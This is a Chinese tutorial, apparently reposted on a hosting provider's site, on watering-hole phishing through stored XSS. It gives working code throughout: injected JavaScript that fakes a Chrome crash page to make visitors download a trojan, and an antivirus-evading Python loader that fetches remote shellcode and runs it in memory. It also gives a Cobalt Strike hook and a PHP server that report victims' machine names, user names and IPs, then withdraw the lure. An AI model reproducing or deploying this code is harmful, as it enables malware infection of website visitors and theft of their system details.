怎么利用釣魚實現水坑攻擊

本篇內容主要講解“怎么利用釣魚實現水坑攻擊”，感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷，實用性強。下面就讓小編來帶大家學習“怎么利用釣魚實現水坑攻擊”吧!

一、簡述

簡單介紹一下概念：
1.XSS，wiki的解釋是一種代碼注入，所以能做的事情很多，不限于alert彈框（感覺很多人以為XSS就是彈框框，彈不出來就不認）、竊取Cookie之類的操作，下面要實現的水坑攻擊就是一種利用。

2.水坑攻擊，這個詞是來自動物世界（果然，技術來自于生活），大意是說鱷魚潛伏在水坑中等待獵物來喝水，當獵物來進食放松警惕時發起攻擊。對應到網絡世界中就是攻擊者通過對用戶的行為進行分析，在用戶的必經之路上埋下陷阱，等待用戶中招。

備注： 分析過了就是水坑攻擊，沒有就是釣魚，都無所謂，哈哈...

二、原理

原理：在目標會訪問的網站上，利用JS精心構造頁面誘導用戶下載木馬。

前提條件：

1. 需要一個存儲型的XSS，最好還擁有webshell的權限方便更改。

2. 一個免殺木馬，免殺效果一定要有，總不能落地就被殺了吧

3. 上線通知和自動收桿插件，避免一直盯著頁面，上鉤后還要卸載頁面。
   

三、實現

過程：
1.利用JS寫一個誘導頁面，不要再用flash更新頁面了，都被人家玩剩很多年了...

我寫了兩個頁面，拋磚引玉，一個是模仿chrome瀏覽器崩潰后的頁面，另一個是使用layer的彈窗頁面。

代碼一，chrome瀏覽器崩潰頁面：

var body = document.body;
    var _left =  window.innerWidth * 0.3 + 'px';
    var _top = window.innerHeight * 0.3 + 'px';
    var _height = window.innerHeight
    body.innerHTML=`<div ><div style='position:absolute;top:${_top};left:${_left};height:300px;width:600px;'><img src='http://39.*.*.*/sdp.png' style='margin:3px;'>  <p><h4 >喔唷，崩潰啦!</h4></p >  <p style='color:gray'>顯示此網頁時出了點問題，請在您的頁面上啟用顯示插件，從而可能會有所幫助。</br></p >  <a href='http://39.105.*.*/Plugin.zip'>  <button style='margin-left:85%;height:30px;line-hight:30px;outline:none;border:none;background-color:rgb(26,115,232);color:white'  >立即修復</button></a></div></div>`

效果圖一：

（用戶點擊修復即會下載木馬）

代碼二，利用layer實現彈窗
可以看layer官方的演示代碼 https://layer.layui.com/

這個的具體內容沒有寫，因為需要具體頁面具體分析，大家可以自行發揮。

layui.use('layer', function() {
      var layer = layui.layer //彈層
      layer.open({
		  type: 1,
		  skin: 'layui-layer-rim', //加上邊框
		  area: ['420px', '240px'], //寬高
		  content: 'html內容'
		});
    });

前提：需要先引入laye組件，在XSS注入時，多引入一個script標簽即可。

效果圖二：

2.免殺
這里用到CS并且使用反序列化+分離免殺，參考大佬的文章：
https://mp.weixin.qq.com/s/sd73eL3-TnMm0zWLCC8cOQ

不要用pyinstaller打包，不然一定會報毒，推薦py2exe，但也有個問題，就是編譯后不只一個文件，查了很多文檔也沒解決，最后測試發現只需要帶上libffi-7.dll即可，勉強能用。

代碼（不一定非要用django，把shellcode分離開就行）：

import pickle
import base64,requests

shellcode = """
import ctypes,urllib.request,codecs,base64

resp = requests.get("http://39.*.*.*/shellcode.txt")
base64_code =resp.content

shellcode = base64.b64decode(base64_code)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 設置VirtualAlloc返回類型為ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申請內存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 創建一個線程從shellcode防止位置首地址開始執行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面創建的線程運行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""


class AAAA(object):
    def __reduce__(self):
        return (exec, (shellcode,))


ret = pickle.dumps(AAAA())
ret_base64 = base64.b64encode(ret)
ret_base32 = base64.b32encode(ret)

print(ret_base32)
print(ret_base64)
ret_decode = base64.b64decode(ret_base64)

import base64,pickle,ctypes,urllib.request,codecs,requests

ret = b'QACJKXQEAAAAAAAAACGAQYTVNFWHI2LOOOKIYBDFPBSWHFE3TNBSWY3DDN5SGKLTUPB2CEKIKMJQXGZJWG.......（略）.........RPWG33EMUQD24TFONYY3PNZ2GK3TUBIFHG2DFNRW
GG33EMUQD2IDCMFZWKNRUFZRDMNDEMVRW6ZDFFBRGC='
ret_decode = base64.b32decode(ret)
# print(ret_decode)
pickle.loads(ret_decode)

from distutils.core import setup
import py2exe
setup(
    options={
        'py2exe': {
            'optimize': 2,
            'bundle_files': 1,
            'compressed': True,
        },
    },
    windows=[{"script": "test9.py",}],
    zipfile=None,
)

3.上線通知，自動收桿

用到大佬的項目：
https://github.com/TheKingOfDuck/XSS-Fishing2-CS

整個過程最有意思的地方就在這里了：

大致原理是需要一個Server端，沒有上線的時候輸出xss惡意代碼，CS上線后會觸發事件執行發送一個特殊的請求（攜帶上線用戶的IP的請求），取消xss惡意代碼，恢復正常，達到自動收桿。

測試的時候發現上線提醒不好用，另外我需要的是企業微信的通知，將這部分功能移到了Server端。

具體代碼：
cs插件

on beacon_initial {
    $webhook = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=*****************************";
    local('$externalIP $computerName $userName');
    $externalIP = replace(beacon_info($1, "external"), " ", "_");
    $computerName = replace(beacon_info($1, "computer"), " ", "_");
    $userName = replace(beacon_info($1, "user"), " ", "_");

    $message = 'New Bot Online: \n\n Computer name：'.$computerName.'\n\nUsername:'.$userName.'\n\nexternalIP:'.$externalIP;


	$xssApi = "http://39.*.*.*/xss.php?ip=".$externalIP;
    @curl_command = @('curl', '-X', 'GET', $xssApi);
    exec(@curl_command);


}

服務端PHP實現：

<?php

$xssPayload = file_get_contents ("eval1.js");
$db = "botIPs.txt";

$ip = $_SERVER["REMOTE_ADDR"];
$botIP = @$_GET['ip'];

if ($botIP != 'NULL') {
    echo $botIP;
}
if (!is_null($botIP)) {
    $bots = fopen($db, "a") or die("Unable to open bots file!");
    fwrite($bots, base64_encode($botIP) . "\n");
    fclose($bots);

    $url = 'https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=********************';
    $data = array("msgtype" => "text", "text" => array("content" => "New Bot Online:" . $botIP));

    $postdata = json_encode($data);

    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    $result = curl_exec($ch);
    curl_close($ch);
    print_r($result);

} else {

    if (file_exists($db)) {
        $line = file_get_contents($db);
        $botIPs = explode("\n", $line);
    }


    if (@in_array(base64_encode($ip), $botIPs)) {
        header('Content-type: text/javascript');
        echo "var hb;";
    } else {
        header('Content-type: text/javascript');
        echo $xssPayload;
    }
}
?>

效果：

到此，相信大家對“怎么利用釣魚實現水坑攻擊”有了更深的了解，不妨來實際操作一番吧！這里是億速云網站，更多相關內容可以進入相關頻道進行查詢，關注我們，繼續學習！